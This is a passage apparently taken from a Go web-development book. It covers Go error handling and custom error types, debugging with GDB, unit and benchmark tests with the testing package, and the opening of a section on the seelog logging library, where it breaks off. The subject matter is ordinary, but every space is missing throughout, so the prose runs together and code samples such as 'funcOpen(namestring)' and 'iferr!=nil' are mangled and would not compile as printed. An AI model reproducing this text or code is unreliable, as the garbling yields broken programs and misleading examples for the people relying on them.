10.4SummaryThroughthisintroductorychapteroni18n,youshouldnowbefamiliarwithsomeofthestepsandprocessesthatarenecessaryforinternationalizingandlocalizingyourwebsites.I'vealsointroducedanopensourcesolutionfori18ninGo:go-i18n.Usingthisopensourcelibrary,wecaneasilyimplementmulti-languageversionsofourwebapplications.Thisallowsourapplicationstobeflexibleandresponsivetolocalaudiencesallaroundtheworld.Ifyoufindanerrorinthisopensourcelibraryoranymissingfeatures,pleaseopenanissueorapullrequest!Let'sstrivetomakeitoneofGo'sstandardlibraries!
Links
DirectoryPrevioussection:InternationalsitesNextchapter:Errorhandling,debuggingandtesting
11ErrorHandling,Debugging,
andTestingWeoftenseethemajorityofaprogrammer's"programming"timespentoncheckingforbugsandworkingonbugfixes.Whetheryouarerefactoringcodeorre-configuringsystems,muchofyourtimewillundoubtedlybespenttroubleshootingandtesting.Fromtheoutside,peoplemaythinkthatallwedoasprogrammersisdesignoursystemsandthenwriteourcode.Theymightthinkthatwehavetheidealjob!Wedoworkthatisveryengaging,andimplementsystemsthathaveneverbeendonebefore.Whilethislastpartmaybetrue,whattheydon'tknowisthatwespendthemajorityofourtimecyclingbetweentroubleshooting,debuggingandtestingourcode!Ofcourse,ifyouhavegoodprogramminghabitsandthetechnologicalsolutionstohelpyoutakeonthesetasks,thenyoucanminimizethetimespentdoingthesethings,enablingyoutofocusinsteadonmorevaluablethingsliketheapplicationlogic.
Unfortunately,manyprogrammersarenotthoroughinfulfillingtheirerrorhandling,debuggingandtestingresponsibilitiesbeforehand.Inexperiencedprogrammerswilloftenonlymakeanefforttofinderrorsandflawsaftertheyhaveoccurred,spendinghourslocatingandfixingproblemsaftertheapplicationisalreadyonline.It'sgoodpractice(andprobablycommonsense)thatweshoulddesignourapplicationswithpropererrorhandling,testcases,etc.,fromthegetgo.Thiswillmakeyourjob,andthejobsofalltheotherdeveloperswhomaybeworkingonyourapplicationsomeday,mucheasierwhentheyinevitablyneedtomodifythecodeorupgradethesystem.
Intheprocessofdevelopingwebapplications,youwillinevitablyencounterunforeseenerrors.What'sthemostefficientwayoffindingthecausesoftheseerrorsandsolvingthem?Section11.1describeshowtohandleerrorsintheGolanguageaswellashowtodesignyourownerrorhandlingpackageandfunctions.Section11.2describeshowtouseGDBtodebugprogramsunderdynamicoperatingconditions,dependingonavarietyofvariableinformation.Wethendiscussapplicationmonitoringanddebuggingoperations.
Section11.3willexplainunittestinginGoandfeaturesomein-depthdiscussionsandexamplesonhowtowriteunittests,aswellasdefiningGo'sunittestingrules.We'llseehowfollowingtheseruleswillensurethatwhenupgradingormodifyingyourapplication,thetestcodewillbeabletorunsmoothly.
Manyprogrammersavoidspendingtimetolearnandcultivategooddebuggingandtestinghabits.Thischaptertakesontheseissueshead-onsoyouwon'thavetorunawayfromthesetasksanylonger.Sinceyou'rejustlearninghowtobuildwebapplicationsinGo,let'susethisopportunitytoestablishthesegoodhabitsfromtheverybeginning.
Links
DirectoryPreviouschapter:Chapter10summaryNextsection:Errorhandling
11.1ErrorhandlingGo'smajordesignconsiderationsarerootedinthefollowingideas:asimple,clear,andconcisesyntax(similartoC)andstatementswhichareexplicitanddon'tcontainanyhiddenorunexpectedthings.Go'serrorhandlingschemereflectsalloftheseprinciplesinthewaythatit'simplemented.Ifyou'refamiliarwiththeClanguage,you'llknowthatit'scommontoreturn-1orNULLvaluestoindicatethatanerrorhasoccurred.HoweveruserswhoarenotfamiliarwithC'sAPIwillnotknowexactlywhatthesereturnvaluesmean.InC,it'snotexplicitwhetheravalueof0indicatessuccessoffailure.Ontheotherhand,Goexplicitlydefinesatypecallederrorforthesolepurposeofexpressingerrors.Wheneverafunctionreturns,wechecktoseewhethertheerrorvariableisnilornottodetermineiftheoperationwassuccessful.Forexample,theos.Openfunctionfails,itwillreturnanon-nilerrorvariable.
funcOpen(namestring)(file*File,errerror)
Here'sanexampleofhowwe'dhandleanerrorinos.Open.First,weattempttoopenafile.Whenthefunctionreturns,wechecktoseewhetheritsucceededornotbycomparingtheerrorreturnvaluewithnil,callinglog.Fataltooutputanerrormessageifit'sanon-nilvalue:
f,err:=os.Open("filename.ext")iferr!=nil{log.Fatal(err)}
Similartotheos.Openfunction,thefunctionsinGo'sstandardpackagesallreturnerrorvariablestofacilitateerrorhandling.Thissectionwillgointodetailaboutthedesignoferrortypesanddiscusshowtoproperlyhandleerrorsinwebapplications.
Errortype
errorisaninterfacetypewiththefollowingdefinition:
typeerrorinterface{Error()string}
errorisabuilt-ininterfacetype.Wecanfinditsdefinitioninthebuiltinpackagebelow.WealsohavealotofinternalpackageswhichuseerrorinaprivatestructurecallederrorString,whichimplementstheerrorinterface:
//errorStringisatrivialimplementationoferror.typeerrorStringstruct{sstring}
func(e*errorString)Error()string{returne.s}
YoucanconvertaregularstringtoanerrorStringthrougherrors.Newinordertogetanobjectthatsatisfiestheerrorinterface.Itsinternalimplementationisasfollows:
//Newreturnsanerrorthatformatsasthegiventext.funcNew(textstring)error{return&errorString{text}}
Thefollowingexampledemonstrateshowtouseerrors.New:
funcSqrt(ffloat64)(float64,error){iff<0{return0,errors.New("math:squarerootofnegativenumber")}//implementation}
Inthefollowingexample,wepassanegativenumbertoourSqrtfunction.Checkingtheerrvariable,wecheckwhethertheerrorobjectisnon-nilusingasimplenilcomparison.Theresultofthecomparisonistrue,sofmt.Println(thefmtpackagecallstheerrormethodwhendealingwitherrorcalls)iscalledtooutputanerror.
f,err:=Sqrt(-1)iferr!=nil{fmt.Println(err)}
CustomErrors
Throughtheabovedescription,weknowthatagoErrorisaninterface.Bydefiningastructthatimplementsthisinterface,wecanimplementtheirerrordefinitions.Here'sanexamplefromtheJSONpackage:
typeSyntaxErrorstruct{msgstring//errordescriptionOffsetint64//wheretheerroroccurred}
func(e*SyntaxError)Error()string{returne.msg}
Theerror'sOffsetfieldwillnotbeprintedatruntimewhensyntaxerrorsoccur,butusingatypeassertionerrortype,youcanprintthedesirederrormessage:
iferr:=dec.Decode(&val);err!=nil{ifserr,ok:=err.(*json.SyntaxError);ok{line,col:=findLine(f,serr.Offset)returnfmt.Errorf("%s:%d:%d:%v",f.Name(),line,col,err)}returnerr}
Itshouldbenotedthatwhenthefunctionreturnsacustomerror,thereturnvalueissettotherecommendtypeoferrorratherthanacustomerrortype.Becarefulnottopre-declarevariablesofcustomerrortypes.Forexample:
funcDecode()*SyntaxError{//error,whichmayleadtothecaller'serr!=nilcomparisontoalwaysbetrue.varerr*SyntaxError//pre-declareerrorvariableifanerrorcondition{err=&SyntaxError{}}returnerr//error,erralwaysequalnon-nil,causescaller's
err!=nilcomparisontoalwaysbetrue}
Seehttp://golang.org/doc/faq#nil_errorforanindepthexplanation
TheaboveexampleshowshowtoimplementasimplecustomErrortype.Butwhatifweneedmoresophisticatederrorhandling?Inthiscase,wehavetorefertothenetpackageapproach:
packagenet
typeErrorinterface{errorTimeout()bool//Istheerroratimeout?Temporary()bool//Istheerrortemporary?}
Usingtypeassertion,wecancheckwhetherornotourerrorisoftypenet.Error,asshowninthefollowingexample.Thisallowsustorefineourerrorhandling-ifatemporaryerroroccursonthenetwork,itwillsleepfor1second,thenretrytheoperation.
ifnerr,ok:=err.(net.Error);ok&&nerr.Temporary(){time.Sleep(1e9)continue}iferr!=nil{log.Fatal(err)}
Errorhandling
GohandleserrorsandchecksthereturnvaluesoffunctionsinaC-likefashion,whichisdifferentthanwhatmostoftheothermajorlanguagesdo.Thismakesthecodemoreexplicitandpredictable,butalsomoreverbose.To
reducetheredundancyofourerror-handlingcode,wecanuseabstracterrorhandlingfunctionsthatallowustoimplementsimilarerrorhandlingbehaviour:
funcinit(){http.HandleFunc("/view",viewRecord)}
funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}
Theaboveexampledemonstrateaccesstodataandtemplatecallhasdetectederrorwhenanerroroccurs,callaunifiedhandlerhttp.Error,returnsa500errorcodetotheclient,anddisplaythecorrespondingerrordata.ButwhenmoreandmoreHandleFuncjoin,soerror-handlinglogiccodewillbemoreandmore,infact,wecancustomizetheroutertoreducecode(refertorealizetheideaofthethirdchapterofHTTPDetailed).
typeappHandlerfunc(http.ResponseWriter,*http.Request)error
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}
Abovewe'vedefinedacustomrouter.Wecanthenregisterourhandlerasusual:
funcinit(){http.Handle("/view",appHandler(viewRecord))}
The/viewhandlercanthenbehandledbythefollowingcode;itisalotsimplerthanouroriginalimplementationisn'tit?
funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}
Theerrorhandlerexampleabovewillreturnthe500InternalErrorcodetouserswhenanyerrorsoccur,inadditiontoprintingoutthecorrespondingerrorcode.Infact,wecancustomizethetypeoferrorreturnedtooutputamoredeveloperfriendlyerrormessagewithinformationthatisusefulfordebugginglikeso:
typeappErrorstruct{ErrorerrorMessagestringCodeint}
Ourcustomroutercanbechangedaccordingly:
typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError
func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.
c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}
Afterwe'vefinishedmodifyingourcustomerror,ourlogiccanbechangedasfollows:
funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}
Asshownabove,wecanreturndifferenterrorcodesanderrormessagesinourviews,dependingonthesituation.Althoughthisversionofourcodefunctionssimilarlytothepreviousversion,it'smoreexplicit,anditserrormessagepromptsaremorecomprehensible.Allofthesefactorscanhelptomakeyourapplicationmorescalableascomplexityincreases.
Summary
Faulttoleranceisaveryimportantaspectofanyprogramminglanguage.InGo,itisachievedthrougherrorhandling.AlthoughErrorisonlyoneinterface,itcanhavemanyvariationsinthewaythatit'simplemented,andwecancustomizeitaccordingtoourneedsonacasebycasebasis.Byintroducingthesevariouserrorhandlingconcepts,wehopethatyouwillhavegainedsomeinsightonhowtoimplementbettererrorhandlingschemesinyourownwebapplications.
Links
DirectoryPrevioussection:Errorhandling,debuggingandtestingNextsection:DebuggingbyusingGDB
11.2DebuggingwithGDBDuringthedevelopmentprocessofanyapplication,developerswillalwaysneedtoperformsomekindofcodedebugging.PHP,Python,andmostoftheotherdynamiclanguages,areabletobemodifiedatruntime,aslongasthemodificationsdonotexplicitlyneedtobecompiled.Wecaneasilyprintdataindynamicoperatingenvironments,outputtingourchangesandprintingvariableinformationdirectly.InGo,youcanofcoursespeckleyourcodewithPrintlnsbefore-handtodisplayvariableinformationfordebuggingpurposes,butanychangestoyourcodeneedtoberecompiledeverytime.Thiscanquicklybecomecumbersome.Ifyou'veprogrammedinPythonorJavascript,you'llknowthattheformerprovidestoolssuchaspdbandipdbfordebugging,andthelatterhassimilartoolsthatareabletodynamicallydisplayvariableinformationandfacilitatesingle-stepdebugging.Fortunately,Gohasnativesupportforasimilartoolwhichprovidessuchdebuggingfeatures:GDB.ThissectionservesasabriefintroductionintodebuggingGoapplicationsusingGDB.
GDBdebuggingprofile
GDBisapowerfuldebuggingtooltargetingUNIX-likesystems,releasedbytheFSF(FreeSoftwareFoundation).GDBallowsustodothefollowingthings:
1. Initialsettingscanbecustomizeaccordingtothespecificrequirementsofyourapplication.
2. Canbesetsothattheprogrambeingdebuggedinthedeveloper'sconsolestopsattheprescribedbreakpoints(breakpointscanbe
conditionalexpressions).3. Whentheprogramhasbeenstopped,youcancheckitscurrentstatetoseewhathappened.
4. Dynamicallychangethecurrentprogram'sexecutionenvironment.
TodebugyourGoapplicationsusingGDB,theversionofGDByouusemustbegreaterthan7.1.
WhencompilingGoprograms,thefollowingpointsrequireparticularattention:
1. Using-ldflags"-s"willpreventthestandarddebugginginformationfrombeingprinted
2. Using-gcflags"-N-l"willpreventGofromperformingsomeofitsautomatedoptimizations-optimizationsofaggregatevariables,functions,etc.TheseoptimizationscanmakeitverydifficultforGDBtodoitsjob,soit'sbesttodisablethematcompiletimeusingtheseflags.
SomeofGDB'smostcommonlyusedcommandsareasfollows:
list
Alsousedinitsabbreviatedforml,listisusedtodisplaythesourcecode.Bydefault,itdisplaystenlinesofcodeandyoucanspecifythelineyouwishtodisplay.Forexample,thecommandlist15displaystenlinesofcodecenteredaroundline15,asshownbelow.
10time.Sleep(2*time.Second)11c<-i12}13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)
break
Alsousedinitsabbreviatedformb,breakisusedtosetbreakpoints,andtakesasanargumentthatdefineswhichpointtosetthebreakpointat.Forexample,b10setsabreakpointatthetenthrow.
delete
Alsousedinitsabbreviatedformd,deleteisusedtodeletebreakpoints.Thebreakpointissetfollowedbytheserialnumber.Theserialnumbercanbeobtainedthroughtheinfobreakpointscommand.Breakpointssetwiththeircorrespondingserialnumbersaredisplayedasfollowstosetabreakpointnumber.
NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time
backtrace
Abbreviatedasbt,thiscommandisusedtoprinttheexecutionofthecode,forinstance:
#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()
info
Theinfocommandcanbeusedinconjunctionwithseveralparameterstodisplayinformation.Thefollowingparametersarecommonlyused:
infolocals
Displaysthecurrentlyexecutingprogram'svariablevalues
infobreakpoints
Displaysalistofcurrentlysetbreakpoints
infogoroutines
Displaysthecurrentlistofrunninggoroutines,asshowninthefollowingcode,withthe*indicatingthecurrentexecution
*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched
Abbreviatedasp,thiscommandisusedtoprintvariablesorotherinformation.Ittakesasargumentsthevariablenamestobeprintedandofcourse,therearesomeveryusefulfunctionssuchas$len()and$cap()thatcanbeusedtoreturnthelengthorcapacityofthecurrentstrings,slicesormaps.
whatis
whatisisusedtodisplaythecurrentvariabletype,followedbythevariablename.Forinstance,whatismsg,willoutputthefollowing:
type=structstring
next
Abbreviatedasn,nextisusedinsingle-stepdebuggingtoskiptothenextstep.Whenthereisabreakpoint,youcanenterntojumptothenextsteptocontinue
continue
Abbreviatedasc,continueisusedtojumpoutofthecurrentbreakpointandcanbefollowedbyaparameterN,whichspecifiesthenumberoftimestoskipthebreakpoint
setvariable
Thiscommandisusedtochangethevalueofavariableintheprocess.Itcanbeusedlikeso:setvariable<var>=<value>
Thedebuggingprocess
Now,let'stakealookatthefollowingcodetoseehowGDBistypicallyusedtodebugGoprograms:
packagemain
import("fmt""time")
funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}
funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}
Nowwecompilethefile,creatinganexecutablefilecalled"gdbfile":
gobuild-gcflags"-N-l"gdbfile.go
UsetheGDBcommandtostartdebugging:
gdbgdbfile
AfterfirststartingGDB,you'llhavetoentertheruncommandtoseeyourprogramrunning.Youwillthenseetheprogramoutputthefollowing;executingtheprogramdirectlyfromthecommandlinewilloutputexactlythesamething:
(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]
Ok,nowthatweknowhowtogettheprogramupandrunning,let'stakealookatsettingbreakpoints:
(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23
.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
Intheaboveexample,weusetheb23commandtosetabreakpointonline23ofourcode,thenenterruntostarttheprogram.Whenourprogramstopsatourbreakpoint,wetypicallyneedtolookatthecorrespondingsourcecodecontext.EnteringthelistcommandintoourGDBsession,wecanseethefivelinesofcodeprecedingourbreakpoint:
(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}25}
NowthatGDBisrunningthecurrentprogramenvironment,wehaveaccesstosomeusefuldebugginginformationthatwecanprintout.Toseethecorrespondingvariabletypesandvalues,typeinfolocals:
(gdb)infolocalscount=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint
Tolettheprogramcontinueitsexecutionuntilthenextbreakpoint,entertheccommand:
(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
Aftereachc,thecodewillexecuteoncethenjumptothenextiterationoftheforloop.Itwill,ofcourse,continuetoprintouttheappropriateinformation.
Let'ssaythatyouneedtochangethecontextvariablesinthecurrentexecutionenvironment,skiptheprocessthencontinuetothenextstep.Youcandosobyfirstusinginfolocalstogetthevariablestates,thenthesetvariablecommandtomodifythem:
(gdb)infolocalscount=2bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
Finally,whilerunning,theprogramcreatesanumberofnumbergoroutines.Wecanseewhateachgoroutineisdoingusinginfogoroutines:
(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()
Fromthegoroutinescommand,wecanhaveabetterpictureofwhatGo'sruntimesystemisdoinginternally;thecallingsequenceforeachfunctionisplainlydisplayed.
Summary
Inthissection,weintroducedsomebasiccommandsfromtheGDBdebuggerthatyoucanusetodebugyourGoapplications.Theseincludedtherun,print,info,setvariable,continue,listandbreakcommands,amongothers.Fromthebriefexamplesabove,Ihopethatyouwillhavea
betterunderstandingofhowthedebuggingprocessworksinGousingtheGDBdebugger.Ifyouwanttogetmoredebuggingtips,pleaserefertotheGDBmanualonitsofficialwebsite.
Links
DirectoryPrevioussection:ErrorhandlingNextsection:Writetestcases
11.3WritingtestcasesInthecourseofdevelopment,averyimportantstepistotestourcodetoensureitsqualityandintegrity.Weneedtomakesurethateveryfunctionreturnstheexpectedresult,andthatourcodeperformsoptimally.Wealreadyknowthatthefocusofunittestsistofindlogicalerrorsinthedesignorimplementationofprograms.Theyareusedtodetectandexposeproblemsincodeearlyonsothatwecanmoreeasilyfixthem,beforetheygetoutofhand.Wealsoknowthatperformancetestsareconductedforthepurposeofoptimizingourcodesothatitisstableunderload,andcanmaintainahighlevelofconcurrency.Inthissection,we'lltakealookatsomecommonlyaskedquestionsabouthowunitandperformancetestsareimplementedinGo.
TheGolanguagecomeswithalightweighttestingframeworkcalledtesting,andwecanusethegotestcommandtoexecuteunitandperformancetests.Go'stestingframeworkworkssimilarlytotestingframeworksinotherlanguages.Youcandevelopallsortsoftestsuiteswiththem,whichmayincludetestsforunittestes,benchmarking,stresstests,etc.Let'slearnabouttestinginGo,stepbystep.
Howtowritetestcases
Sincethegotestcommandcanonlybeexecutedinadirectorycontainingallcorrespondingfiles,wearegoingtocreateanewprojectdirectorygotestsothatallofourcodeandtestcodeareinthesamedirectory.
Let'sgoaheadandcreatetwofilesinthedirectorycalledgotest.goandgotest_test.go
1. Gotest.go:Thisfiledeclaresourpackagenameandhasafunctionthatperformsadivisionoperation:
packagegotest
import("errors")
funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("Divisorcannotbe0")}returna/b,nil}
2. Gotest_test.go:Thisisourunittestfile.Keepinmindthefollowingprinciplesfortestfiles:
3. Filenamesmustendin_test.gosothatgotestcanfindandexecutetheappropriatecode
4. Youhavetoimportthetestingpackage5. AlltestcasefunctionsbeginwithTest6. Testcasesfollowthesourcecodeorder7. TestfunctionsoftheformTestXxx()takeatesting.Targument;wecanusethistypetorecorderrorsortogetthetestingstatus
8. InfunctionsoftheformfuncTestXxx(t*testing.T),theXxxsectioncanbeanyalphanumericcombination,butthefirstlettercannotbealowercaseletter[az].Forexample,Testintdivwouldbeaninvalid
functionname.9. BycallingoneoftheError,Errorf,FailNow,FatalorFatalIfmethodsoftesting.Tonourtestingfunctions,wecanfailthetest.Inaddition,wecancalltheLogmethodoftesting.Ttorecordtheinformationintheerrorlog.
Hereisourtestcode:
packagegotest
import("testing")
funcTest_Division_1(t*testing.T){//tryaunittestonfunctionifi,e:=Division(6,2);i!=3||e!=nil{//Ifitisnotasexpected,thenthetesthasfailedt.Error("divisionfunctiontestsdonotpass")}else{//recordtheexpectedinformationt.Log("firsttestpassed")}}
funcTest_Division_2(t*testing.T){t.Error("justdoesnotpass")}
Whenexecutinggotestintheprojectdirectory,itwilldisplaythefollowinginformation:
---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:isnotpassedFAILexitstatus1FAILgotest0.013s
Wecanseefromthisresultthatthesecondtestfunctiondoesnotpasssince
wewroteinadead-endusingt.Error.Butwhatabouttheperformanceofourfirsttestfunction?Bydefault,executinggotestdoesnotdisplaytestresults.Weneedtosupplytheverboseargument-vlikegotest-vtodisplaythefollowingoutput:
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:firsttestpassed===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:isnotpassedFAILexitstatus1FAILgotest0.012s
Theaboveoutputshowsindetailtheresultsofourtest.Weseethatthetestfunction1Test_Division_1passes,andthetestfunction2Test_Division_2fails,finallyconcludingthatourtestsuitedoesnotpass.Next,wemodifythetestfunction2withthefollowingcode:
funcTest_Division_2(t*testing.T){//tryaunittestonfunctionif_,e:=Division(6,0);e==nil{//Ifitisnotasexpected,thentheerrort.Error("Divisiondidnotworkasexpected.")}else{//recordsomeoftheinformationyouexpecttorecordt.Log("onetestpassed.",e)}}
Weexecutegotest-vonceagain.Thefollowinginformationshouldnowbedisplayed-thetestsuitehaspassed~:
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:firsttestpassed===RUNTest_Division_2
---PASS:Test_Division_2(0.00seconds)gotest_test.go:20:onetestpassed.divisorcannotbe0PASSokgotest0.013s
Howtowritestresstests
Stresstestingisusedtodetectfunctionperformance,andbearssomeresemblancetounittesting(whichwewillnotgetintohere),howeverweneedtopayattentiontothefollowingpoints:
Stresstestsmustfollowthefollowingformat,whereXXXcanbeanyalphanumericcombinationanditsfirstlettercannotbealowercaseletter.
funcBenchmarkXXX(b*testing.B){...}
Bydefault,Gotestdoesnotperformfunctionstresstests.Ifyouwanttoperformstresstests,youneedtosettheflag-test.benchwiththeformat:-test.bench="test_name_regex".Forinstance,torunallstresstestsinyoursuite,youwouldrungotest-test.bench=".*".
Inyourstresstests,pleaseremembertousetesting.B.Nanyloopbodies,sothatthetestscanberunproperly.Asbefore,testfilenamesmustendin_test.go
Herewecreateastresstestfilecalledwebbench_test.go:
packagegotest
import("testing")
funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)
}}
funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//callthefunctiontostopthestresstesttimecount
//Dosomeinitializationwork,suchasreadingfiledata,databaseconnectionsandthelike,//Sothatourbenchmarksreflecttheperformanceofthefunctionitself
b.StartTimer()//re-starttimefori:=0;i<b.N;i++{Division(4,5)}}
Wethenexecutethegotest-filewebbench_test.go-test.bench=".*"command,whichoutputsthefollowingresults:
PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s
TheaboveresultsshowthatwedidnotperformanyofourTestXXXunittestfunctions,andinsteadonlyperformedourBenchmarkXXXtests(whichisexactlyasexpected).ThefirstBenchmark_DivisiontestshowsthatourDivision()functionexecuted500milliontimes,withanaverageexecutiontimeof7.76ns.ThesecondBenchmark_TimeConsumingFunctionshowsthatourTmeConsumingFunctionexecuted500milliontimes,withanaverageexecutiontimeof7.80ns.Finally,itoutputsthetotalexecutiontimeofourtestsuite.
Summary
FromourbriefencounterwithunitandstresstestinginGo,wecanseethat
thetestingpackageisverylightweight,yetpackedwithusefulutilities.Wesawthatwritingunitandstresstestscanbeverysimple,andrunningthemcanbeeveneasierwithGo'sbuilt-ingotestcommand.Everytimewemodifyourcode,wecansimplyrungotesttobeginregressiontesting.
Links
DirectoryPrevioussection:DebuggingusingGDBNextsection:Summary
11.4SummaryOverthecourseofthelastthreesections,we'veintroducedhowtohandleerrorsinGo,firstlookingatgooderrorhandlingpracticesanddesign,thenlearninghowtousetheGDBdebuggereffectively.WesawthatwithGDB,wecanperformsingle-stepdebugging,viewandmodifyourprogramvariablesduringexecution,andprintouttherelevantprocessinformation.Finally,wedescribedhowtouseGo'sbuilt-intestingframeworktowriteunitandstresstests.Properlyusingthisframeworkallowsustoeasilymakeanyfuturechangestoourcodeandperformthenecessaryregressiontesting.Goodwebapplicationsmusthavegooderrorhandling,andpartofthatishavingreadableerrorsanderrorhandlingmechanismswhichcanscaleinapredictablemanner.Usingthetoolsmentionedaboveaswellaswritinghighqualityandthoroughunitandstresstests,wecanhavepeaceofmindknowingthatonceourapplicationsarelive,theycanmaintainoptimalperformanceandrunasexpected.
Links
DirectoryPrevioussection:WritetestcasesNextchapter:Deploymentandmaintenance
12DeploymentandmaintenanceSofar,we'vecoveredthebasicsofdeveloping,debuggingandtestingwebapplicationsinGo.Asisoftensaid,however:thelast10%ofdevelopmenttakes90%ofthetime.Inthischapter,wewillbeemphasizingthislast10%ofapplicationdevelopmentinordertotrulycraftreliableandhighqualitywebapplications.Inthefirstsection,wewillexaminehowproductionservicesgeneratelogs,andtheprocessofloggingitself.Thesecondsectionwilldescribedealingwithruntimeerrors,andhowtomanagethemwhentheyoccursothattheimpactonendusersisminimized.Inthethirdsection,wetacklethesubjectofdeployingstandaloneGoprograms,whichcanbetrickyatfirst.Asyoumightknow,GoprogramscannotbewrittenwithdaemonslikeyouwouldwithalanguagesuchasC.We'lldiscusshowbackgroundprocessesaretypicallymanagedinGo.Finally,ourfourthandlastsectionwilladdresstheprocessofbackingupandrecoveringapplicationdatainGo.We'lltakealookatsometechniquesforensuringthatintheeventofacrash,wewillbeabletomaintaintheintegrityofourdata.
Links
DirectoryPreviouschapter:Chapter11summaryNextsection:Logs
12.1LogsWewanttobuildwebapplicationsthatcankeeptrackofeventswhichhaveoccurredthroughoutexecution,combiningthemallintooneplaceforeasyaccesslateron,whenweinevitablyneedtoperformdebuggingoroptimizationtasks.Goprovidesasimplelogpackagewhichwecanusetohelpusimplementsimpleloggingfunctionality.LogscanbeprintedusingGo'sfmtpackage,calledinsideerrorhandlingfunctionsforgeneralerrorlogging.Go'sstandardpackageonlycontainsbasicfunctionalityforlogging,
however.Therearemanythirdpartyloggingtoolsthatwecanusetosupplementitifyourneedsaremoresophisticated(toolssimilartolog4jandlog4cpp,ifyou'veeverhadtodealwithlogginginJavaorC++).Apopularandfullyfeatured,open-sourceloggingtoolinGoistheseelogloggingframework.Let'stakealookathowwecanuseseelogtoperformlogginginourGoapplications.
Introductiontoseelog
SeelogisaloggingframeworkforGothatprovidessomesimplefunctionalityforimplementingloggingtaskssuchasfilteringandformatting.Itsmainfeaturesareasfollows:
DynamicconfigurationviaXML;youcanloadconfigurationparametersdynamicallywithoutrecompilingyourprogramSupportshotupdates,theabilitytodynamicallychangetheconfigurationwithouttheneedtorestarttheapplicationSupportsmulti-outputstreamsthatcansimultaneouslypipelogoutputtomultiplestreams,suchasafilestream,networkflow,etc.
Supportfordifferentlogoutputs
CommandlineoutputFileOutputCachedoutputSupportlogrotateSMTPMail
Theaboveisonlyapartiallistofseelog'sfeatures.Tofullytakeadvantageofallofseelog'sfunctionality,havealookatitsofficialwikiwhichthoroughlydocumentswhatyoucandowithit.Let'sseehowwe'duseseeloginourprojects:
Firstinstallseelog:
goget-ugithub.com/cihub/seelog
Thenlet'swriteasimpleexample:
packagemain
